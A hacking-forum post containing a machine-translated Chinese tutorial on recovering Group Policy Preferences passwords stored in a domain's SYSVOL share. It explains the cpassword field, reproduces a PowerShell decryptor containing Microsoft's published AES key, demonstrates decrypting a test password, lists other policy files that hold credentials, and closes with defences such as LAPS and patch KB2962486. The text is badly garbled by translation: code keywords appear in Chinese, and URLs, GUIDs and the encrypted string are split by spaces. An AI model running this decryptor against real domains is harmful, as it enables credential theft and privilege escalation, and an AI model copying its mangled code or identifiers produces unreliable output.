跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

域渗透3354使用SYSVOL还原保存在组策略中的密码


CHQ1d

推荐的帖子

0x00 前言

之前的文章《域渗透——Local Administrator Password Solution》分析了LAPS的利用率。使用LAPS最大的好处就是可以保证域内每台主机都有不同的密码,密码会定期更换。

那么,如果域中没有配置LAPS,如何批量设置域中主机的本地管理员密码?里面可以用什么?

本文将介绍如何使用SYSVOL恢复保存在组策略中的密码,分析技术细节,最后给出一些防御建议。

0x01 简介

本文将介绍以下内容:

域内共享文件夹\SYSVOL简介

一种域管理员批量修改域内主机本地管理员密码的方法

组策略中可以使用什么?

实物试验

辩护建议

0x02 域内共享文件夹\SYSVOL介绍

在域中,有一个默认的共享路径:

\\\SYSVOL\\

域中的所有主机都可以访问它,与组策略相关的数据(包括登录脚本配置文件)都存储在其中。

例如,测试主机的域是test.local,它可以访问共享文件夹\\test.local\SYSVOL\test.local,如下图所示

2-1.png

0x03 域管理员批量修改域内主机本地管理员密码的方法

1、测试Server 2003系统

对于server2003,如果要批量修改域中主机的本地管理员密码,通常会配置组策略来执行vbs脚本。

给出一个vbs脚本修改密码(实现方法不唯一),代码如下:

strComputer=“.”

set objUser=GetObject(' win nt://' str computer '/Administrator,User ')

objUser。SetPassword 'domain123!'

objUser。SetInfo

这种实现的最大缺点是修改后的密码将以明文形式存储在vbs脚本中。

vbs脚本通常保存在共享文件夹\SYSVOL中。

有一个隐患:

任何域用户都能读取该vbs脚本,也就能够获取脚本中保存的明文密码

2、测试Server 2008系统

关于server 2008,增加了一个新功能。您可以使用组策略首选项配置组策略批量修改用户的本地管理员密码。具体方法如下:

开始-管理工具-组策略管理

选择域test.local,右键,选择在此域创建GPO并链接到此处,如下图所示。

2-2.png

将名称设置为test6。

6-设置-右键-编辑-用户配置-首选项-控制面板设置-本地用户和组,如下图所示

2-3.png

更新,管理员(内置),设置密码,如下图所示

2-4.png

委托,设置权限

在详细栏中,可以看到该策略对应的ID为{ e 6424 f 10-c44b-4c 45-8527-740189 CBF 60e }。

如下图

2-5.png

此时,组策略配置完成,域中的主机再次登录,因此可以应用该策略。

在共享文件夹\SYSVOL中可以看到带有组策略对应ID的文件夹,如下图所示

2-6.png

由于我们刚刚在用户配置下修改了控制面板,我们可以在相应的文件夹下找到配置文件Groups.xml。具体路径如下:

\ \ test . local \ SYSVOL \ test . local \ Policies \ { e 6424 f 10-C44B-4c 45-8527-740189 CBF 60 e } \ User \ Preferences \ Groups

Groups.xml包含以下内容:

?xml版本='1.0 '编码='utf-8 '?

-

-

如下图

2-7.png

值得注意的是,cpassword项保存加密的内容“9 xlczcaj/kyldecku 6 LQ JX 3 Fe 9 gnshwkwlgan 1u”

加密方法是AES 256。虽然AES 256目前很难被破解,但微软选择公开AES 256加密的私钥。地址如下:

https://msdn.microsoft.com/en-us/library/cc422924.aspx

在这个私钥的帮助下,我们可以恢复明文。

还原方法可以使用Chris Campbell @obscuresec的开源powershell脚本,地址如下:

https://raw . githubusercontent . com/powershell mafia/PowerSploit/master/ex filtration/Get-GPP password . PS1

该脚本可以在域中的主机上执行,可以自动查询共享文件夹\SYSVOL中的文件,还原所有明文密码。

测试下图

3-1.png

当然,只是为了解密C Password=' 9 xlczcaj/kyldecku 6 LQ 1 qjx 3 Fe 9 gnshwkkwlgan1u ',我们可以简化一下上面powershell脚本的功能。

简化代码如下:

函数Get-DecryptedCpassword {

[CmdletBinding()]

参数(

[string] $Cpassword

)

尝试{

#根据字符串长度追加适当的填充

$Mod=($Cpassword.length % 4)

开关($Mod) {

1' {$Cpassword=$Cpassword。子字符串(0,$Cpassword。长度-1)}

2' {$Cpassword=('=' * (4 - $Mod))}

3' {$Cpassword=('=' * (4 - $Mod))}

}

$ base64 decoded=[Convert]:from base64 string($ Cpassword)

#创建新的AES。NET加密对象

$AesObject=新对象系统。security . cryptography . AES cryptoserviceprovider

[Byte[]] $AesKey=@(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,

0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

#将IV设置为全空,以防止动态生成IV值

$ AesIV=New-Object Byte[]($ AES Object。四.长度)

$AesObject。IV=$ AesIV

$AesObject。Key=$AesKey

$DecryptorObject=$AesObject。CreateDecryptor()

[Byte[]]$ OutBlock=$ decryptor object。transform final block($ base64 decoded,0,$Base64Decoded.length)

返回[系统。Text.UnicodeEncoding]:Unicode。GetString($OutBlock)

}

catch {Write-Error $Error[0]}

}

get-DecryptedCpassword ' 9 xlcz Caj/kyldecku 6l Q1 qjx 3 Fe 9 gnshwkkwlgan1 u '

重置明文密码是域123!如下所示

3-2.png

0x04 组策略中可被利用的地方

组策略中可以使用的不仅是修改管理员密码的位置,还有以下内容:

Services\Services.xml

http://msdn . Microsoft . com/en-us/library/cc 980070(v=prot . 13)

scheduled tasks \ scheduled tasks . XML

http://msdn . Microsoft . com/en-us/library/cc 422920(v=prot . 13)

http://msdn . Microsoft . com/en-us/library/DD 341350(v=prot . 13)

http://msdn . Microsoft . com/en-us/library/DD 304114(v=prot . 13)

打印机\Printers.xml

http://msdn . Microsoft . com/en-us/library/cc 422918(v=prot . 13)

Drives\Drives.xml

http://msdn . Microsoft . com/en-us/library/cc 704598(v=prot . 13)

DataSources\DataSources.xml

http://msdn . Microsoft . com/en-us/library/cc 422926(v=prot . 13)

注:

地点引自https://webcache.googleusercontent.com/search? q=cache:muno 5x 9 hs wuj:rew tdance . blogspot . com/2012/06/exploining-windows-2008-group-policy . html CD=6hl=enct=cln kgl=us

然而,上述位置并不是绝对的。配置时需要在组策略中填写用户名和密码,对应的Groups.xml会包含cpassword属性,可以用来恢复明文。

可以以调度任务为例,对应ScheduledTasks.xml

组策略配置的位置是:用户配置-首选项-控制面板设置-任务计划。

如下图

4-1.png

要创建一个新任务,需要选择运行标识,填写用户名和密码,如下图所示

4-2.png

否则,不包括cpassword属性,如下图所示。

4-3.png

现在填写一个测试密码(密码是testsuccess!假的),如下图

4-4.png

相应的ScheduledTasks.xml也包含cpassword属性,如下图所示

4-5.png

用powershell解密,密码是testsuccess!

至此,结论是:

域管理员在使用组策略批量管理域内主机时,如果配置组策略的过程中需要填入密码,那么该密码会被保存到共享文件夹\SYSVOL下,默认所有域内用户可访问,虽然被加密,但很容易被解密

这就造成了安全隐患。现实中,域管理员经常在组策略中使用域管理员密码,组策略配置文件中的密码很容易获取,导致权限提升。

为此,微软发布了补丁KB2962486,下载地址是:

https://technet.microsoft.com/library/security/ms14-025

系统打补丁后,无法在组策略中设置用户名和密码,如下图所示。

5-1.png

5-2.png

当然,共享文件夹\SYSVOL下的xml文件将不再包含cpassword属性。

注:

xml文件仍将与组策略同步。

0x05 防御

结合攻击方法,备选防御方法如下:

1.使用LAPS批量管理域中主机的本地管理员帐户。

2.域控制安装修补程序KB2962486

3.不要在组策略中使用域控制密码。

4.设置共享文件夹\SYSVOL的访问权限

5.使用PsPasswd批量修改域中主机的本地管理员密码。

0x06 小结

介绍了如何使用SYSVOL恢复组策略中保存的密码,并给出了一些防御建议。如果域用户的本地管理员密码被攻击者获取,默认情况下,该密码可用于域中的远程登录。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...